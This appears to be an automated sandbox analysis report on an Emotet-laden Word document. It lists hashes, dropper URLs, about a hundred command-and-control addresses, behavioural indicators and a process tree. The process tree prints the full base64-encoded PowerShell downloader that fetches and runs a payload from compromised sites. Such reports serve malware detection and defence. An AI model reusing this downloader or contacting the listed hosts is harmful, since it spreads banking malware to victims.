emotet | b993db6027f3ab4a8a0bf84b89deebe50f9b01854a5849be661ca177a6ab6b1d

Analysis

max time kernel
136s
max time network
139s
platform
windows10_x64
resource
win10
submitted
28/09/2020, 12:57

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General

Target
emotet_e1_b993db6027f3ab4a8a0bf84b89deebe50f9b01854a5849be661ca177a6ab6b1d_2020-09-28__125430052944._doc.doc
Size 177KB
Sample200928-trwjz2nlps
SHA256 b993db6027f3ab4a8a0bf84b89deebe50f9b01854a5849be661ca177a6ab6b1d
MD5 7eb2d44e10dd85e52adb6332e9572fcf
SHA1 1dd040c0177f87f87f009d30e5e8149aeda86357
SHA512 f4afad2c8b338b4df821276b952bbacad5201b3488bbfde9e86c0ee8af92d5a160052c5d2248bcb6cddcf7eb51f2c4f248766b995a404c906315aaf2319d4ef0
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://famousdiagnosticcenter.com/wp-admin/7wX/
exe.dropper
http://www.govtcollegesihunta.com/wp-includes/hX/
exe.dropper
http://jegsnet.com/wp-content/lPr/
exe.dropper
http://fenekformalas.newquantumlogic.com/webstat/G/
exe.dropper
http://helixity-india.com/wp-content/M/
exe.dropper
https://www.buntebenelux.com/wp-admin/cbW/
exe.dropper
http://swso2.com/wp-admin/a/

Extracted

Family

emotet

12.163.208.58:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
192.241.146.84:8080
74.58.215.226:80
199.203.62.165:80
185.94.252.27:443
174.113.69.136:80
46.43.2.95:8080
50.121.220.50:80
192.81.38.31:80
51.38.124.206:80
76.168.54.203:80
51.75.33.127:80
189.2.177.210:443
77.106.157.34:8080
45.33.77.42:8080
178.250.54.208:8080
5.196.35.138:7080
219.92.13.25:80
138.97.60.141:7080
190.190.148.27:8080
95.9.180.128:80
70.116.143.84:80
190.24.243.186:80
68.69.155.181:80
187.162.248.237:80
82.76.111.249:443
202.4.58.197:80
152.169.22.67:80
213.197.182.158:8080
185.232.182.218:80
172.104.169.32:8080
191.182.6.118:80
77.238.212.227:80
216.47.196.104:80
38.88.126.202:8080
155.186.0.121:80
177.74.228.34:80
119.106.216.84:80
51.15.7.145:80
96.227.52.8:443
74.136.144.133:80
45.46.37.97:80
190.115.18.139:8080
201.213.177.139:80
181.129.96.162:8080
5.189.178.202:8080
185.215.227.107:443
137.74.106.111:7080
91.105.94.200:80
83.169.21.32:7080
186.70.127.199:8090
2.36.95.106:80
96.245.123.149:80
186.103.141.250:443
1.226.84.243:8080
185.94.252.12:80
85.214.26.7:8080
87.106.46.107:8080
217.13.106.14:8080
116.202.23.3:8080
65.36.62.20:80
82.230.1.24:80
70.32.84.74:8080
68.183.170.114:8080
190.117.79.209:80
185.178.10.77:80
111.67.12.221:8080
181.30.61.163:443
98.13.75.196:80
70.32.115.157:8080
51.15.7.189:80
170.81.48.2:80
92.24.50.153:80
51.255.165.160:8080
35.143.99.174:80
50.28.51.143:8080
45.16.226.117:443
185.183.16.47:80
149.202.72.142:7080
67.247.242.247:80
104.131.41.185:8080
78.249.119.122:80
202.134.4.210:7080
209.236.123.42:8080
60.93.23.51:80
190.2.31.172:80
94.176.234.118:443
177.129.17.170:443
64.201.88.132:80
188.135.15.49:80
220.109.145.69:80
60.108.144.104:443
123.51.47.18:80
192.241.143.52:8080
212.71.237.140:8080
61.197.92.216:80
12.162.84.2:8080
80.11.164.185:80
45.33.35.74:8080
68.183.190.199:8080
87.106.253.248:8080
177.73.0.98:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1452	428	POwersheLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3912-13-0x00000000001C0000-0x00000000001D2000-memory.dmp	emotet
behavioral2/memory/3912-13-0x00000000001C0000-0x00000000001D2000-memory.dmp	emotet
behavioral2/memory/3912-14-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/3912-14-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1284-17-0x0000000000440000-0x0000000000452000-memory.dmp	emotet
behavioral2/memory/1284-17-0x0000000000440000-0x0000000000452000-memory.dmp	emotet
behavioral2/memory/1284-18-0x00000000004A0000-0x00000000004B0000-memory.dmp	emotet
behavioral2/memory/1284-18-0x00000000004A0000-0x00000000004B0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	1452	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3912	Aa85xqi4.exe
1284	FlashPlayerApp.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Windows.Media.Playback.BackgroundMediaPlayer\FlashPlayerApp.exe	Aa85xqi4.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1452	POwersheLL.exe
1452	POwersheLL.exe
1452	POwersheLL.exe
1284	FlashPlayerApp.exe
1284	FlashPlayerApp.exe
1284	FlashPlayerApp.exe
1284	FlashPlayerApp.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1452	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1452 wrote to memory of 3912	1452	POwersheLL.exe	80
PID 1452 wrote to memory of 3912	1452	POwersheLL.exe	80
PID 1452 wrote to memory of 3912	1452	POwersheLL.exe	80
PID 3912 wrote to memory of 1284	3912	Aa85xqi4.exe	82
PID 3912 wrote to memory of 1284	3912	Aa85xqi4.exe	82
PID 3912 wrote to memory of 1284	3912	Aa85xqi4.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_b993db6027f3ab4a8a0bf84b89deebe50f9b01854a5849be661ca177a6ab6b1d_2020-09-28__125430052944._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3828

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABWAHAAbAA1AHQANQAyAD0AKAAoACcARQAnACsAJwA5AGcAdAAnACkAKwAnAGQAJwArACcAbQB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAGUAUgBwAFIAbwBmAEkATABlAFwASABjAHoAZgAyAHYAbgBcAGEAbQAwAGgAMgB3AGQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIAZQBDAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAHUAUgBJAFQAYABZAFAAYABSAG8AVABvAGAAQwBgAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMgAsACAAdABsACcAKQArACgAJwBzADEAJwArACcAMQAsACcAKQArACcAIAB0ACcAKwAnAGwAcwAnACkAOwAkAFcAawA4AGcAZgBoAF8AIAA9ACAAKAAnAEEAJwArACcAYQAnACsAKAAnADgANQB4ACcAKwAnAHEAJwArACcAaQA0ACcAKQApADsAJABPAG4AaQBoADcAagBpAD0AKAAoACcAUgAnACsAJwBtADIANwAnACkAKwAoACcAZgB6ACcAKwAnAHEAJwApACkAOwAkAEsANABpAG8AdgBmAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBpACcAKwAnADQAZwBIAGMAJwApACsAKAAnAHoAZgAyACcAKwAnAHYAJwApACsAJwBuAGkAJwArACgAJwA0AGcAQQAnACsAJwBtADAAaAAyACcAKQArACgAJwB3AGQAJwArACcAaQA0ACcAKQArACcAZwAnACkAIAAgAC0AQwBSAEUAUABMAGEAYwBFACgAJwBpADQAJwArACcAZwAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQAVwBrADgAZwBmAGgAXwArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFIAMAA0AHAANgB1AHoAPQAoACgAJwBIACcAKwAnAGgAMQAnACkAKwAoACcAMQBrAHYAJwArACcAbwAnACkAKQA7ACQATwBxAG8AegB3ADIAaQA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAHQALgBXAGUAQgBjAGwASQBFAE4AVAA7ACQARABrADgAYQA0AGEAdAA9ACgAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvACcAKwAnAC8AZgBhAG0AJwApACsAKAAnAG8AJwArACcAdQBzACcAKQArACcAZAAnACsAKAAnAGkAYQAnACsAJwBnAG4AJwApACsAKAAnAG8AcwB0AGkAJwArACcAYwBjAGUAbgB0ACcAKwAnAGUAcgAuAGMAbwAnACkAKwAnAG0ALwAnACsAJwB3AHAAJwArACgAJwAtAGEAZAAnACsAJwBtACcAKQArACgAJwBpAG4ALwAnACsAJwA3ACcAKQArACcAdwBYACcAKwAoACcALwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwB3AHcAJwArACcAdwAuAGcAJwApACsAJwBvACcAKwAoACcAdgB0ACcAKwAnAGMAbwBsACcAKwAnAGwAJwApACsAJwBlAGcAJwArACcAZQBzACcAKwAoACcAaQBoAHUAJwArACcAbgB0ACcAKwAnAGEAJwArACcALgAnACsAJwBjAG8AbQAvAHcAcAAtACcAKQArACgAJwBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAZQBzAC8AaAAnACsAJwBYAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAKAAnAC8AagBlACcAKwAnAGcAJwApACsAKAAnAHMAbgAnACsAJwBlAHQALgBjACcAKwAnAG8AbQAvAHcAJwApACsAJwBwACcAKwAnAC0AJwArACcAYwBvACcAKwAoACcAbgB0AGUAbgB0AC8AbAAnACsAJwBQACcAKQArACcAcgAvACcAKwAoACcAKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AJwArACgAJwBmAGUAbgBlAGsAJwArACcAZgBvACcAKwAnAHIAJwApACsAJwBtAGEAJwArACcAbAAnACsAKAAnAGEAcwAnACsAJwAuAG4AZQAnACkAKwAnAHcAJwArACcAcQB1ACcAKwAnAGEAJwArACgAJwBuAHQAJwArACcAdQBtACcAKwAnAGwAbwAnACkAKwAnAGcAaQAnACsAJwBjACcAKwAnAC4AYwAnACsAKAAnAG8AbQAnACsAJwAvACcAKQArACcAdwBlACcAKwAnAGIAJwArACgAJwBzACcAKwAnAHQAYQB0ACcAKQArACgAJwAvAEcAJwArACcALwAnACkAKwAoACcAKgBoAHQAdAAnACsAJwBwADoALwAnACkAKwAnAC8AaAAnACsAKAAnAGUAbABpACcAKwAnAHgAJwArACcAaQB0AHkALQAnACsAJwBpACcAKQArACcAbgAnACsAJwBkACcAKwAnAGkAYQAnACsAJwAuAGMAJwArACcAbwBtACcAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAtAGMAJwArACgAJwBvACcAKwAnAG4AdABlACcAKQArACgAJwBuAHQAJwArACcALwAnACkAKwAoACcATQAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAcwAnACsAJwA6AC8ALwB3AHcAdwAnACsAJwAuACcAKQArACcAYgB1ACcAKwAnAG4AJwArACgAJwB0AGUAYgAnACsAJwBlAG4AJwArACcAZQAnACkAKwAoACcAbAB1ACcAKwAnAHgALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAoACcALwAnACsAJwB3AHAALQBhAGQAJwArACcAbQBpAG4ALwAnACkAKwAoACcAYwBiACcAKwAnAFcALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdABwACcAKQArACgAJwA6AC8AJwArACcALwBzACcAKQArACgAJwB3AHMAJwArACcAbwAyAC4AJwApACsAKAAnAGMAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AYQBkACcAKQArACgAJwBtAGkAbgAvACcAKwAnAGEALwAnACkAKQAuACIAUwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAHAAXwByAHMANABsAD0AKAAnAFkAbQAnACsAJwBwAF8AJwArACgAJwA1ACcAKwAnADMANgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFYAXwBpAGgANwBsAHcAIABpAG4AIAAkAEQAawA4AGEANABhAHQAKQB7AHQAcgB5AHsAJABPAHEAbwB6AHcAMgBpAC4AIgBkAE8AdwBgAE4ATABPAEEAZABGAGAAaQBMAEUAIgAoACQAVgBfAGkAaAA3AGwAdwAsACAAJABLADQAaQBvAHYAZgBjACkAOwAkAEwAcwA5AHIAcABvAHYAPQAoACcAUgBxACcAKwAnADgAegAnACsAKAAnAHUAJwArACcAdAA4ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEsANABpAG8AdgBmAGMAKQAuACIATABlAGAATgBnAFQASAAiACAALQBnAGUAIAAyADEANwA3ADcAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAJwArACcAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAoACQASwA0AGkAbwB2AGYAYwApADsAJABPAG8AMgAxAF8ANQA3AD0AKAAoACcARAAnACsAJwByAHMAZgB6ACcAKQArACcAMAB0ACcAKQA7AGIAcgBlAGEAawA7ACQASgBqADQAeQA4ADMAZAA9ACgAKAAnAEEAJwArACcANABjADgAJwApACsAJwB4AGYAJwArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAYgBrAG4AZAB4AHEAPQAoACcAQgAnACsAKAAnADUAawA5ACcAKwAnAGQANQAnACkAKwAnAF8AJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1452
- C:\Users\Admin\Hczf2vn\Am0h2wd\Aa85xqi4.exe
  "C:\Users\Admin\Hczf2vn\Am0h2wd\Aa85xqi4.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\SysWOW64\Windows.Media.Playback.BackgroundMediaPlayer\FlashPlayerApp.exe
    "C:\Windows\SysWOW64\Windows.Media.Playback.BackgroundMediaPlayer\FlashPlayerApp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1284

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1284-18-0x00000000004A0000-0x00000000004B0000-memory.dmp

Download

memory/1284-17-0x0000000000440000-0x0000000000452000-memory.dmp

Download

memory/1452-8-0x000001F9D8480000-0x000001F9D8481000-memory.dmp

Download

memory/1452-7-0x00007FFA38E30000-0x00007FFA3981C000-memory.dmp

Download

memory/1452-9-0x000001F9F0860000-0x000001F9F0861000-memory.dmp

Download

memory/3828-0-0x00007FFA402C0000-0x00007FFA40986000-memory.dmp

Download

memory/3828-6-0x0000018BF09A4000-0x0000018BF09A9000-memory.dmp

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memory/3828-5-0x0000018BF0787000-0x0000018BF078C000-memory.dmp

Download

memory/3828-4-0x0000018BF09A4000-0x0000018BF09A9000-memory.dmp

Download

memory/3828-3-0x0000018BF09A4000-0x0000018BF09A9000-memory.dmp

Download

memory/3828-2-0x0000018BF0782000-0x0000018BF0787000-memory.dmp

Download

memory/3828-1-0x0000018BF0782000-0x0000018BF0787000-memory.dmp

Download

memory/3912-13-0x00000000001C0000-0x00000000001D2000-memory.dmp

Download

memory/3912-14-0x00000000001F0000-0x0000000000200000-memory.dmp

Download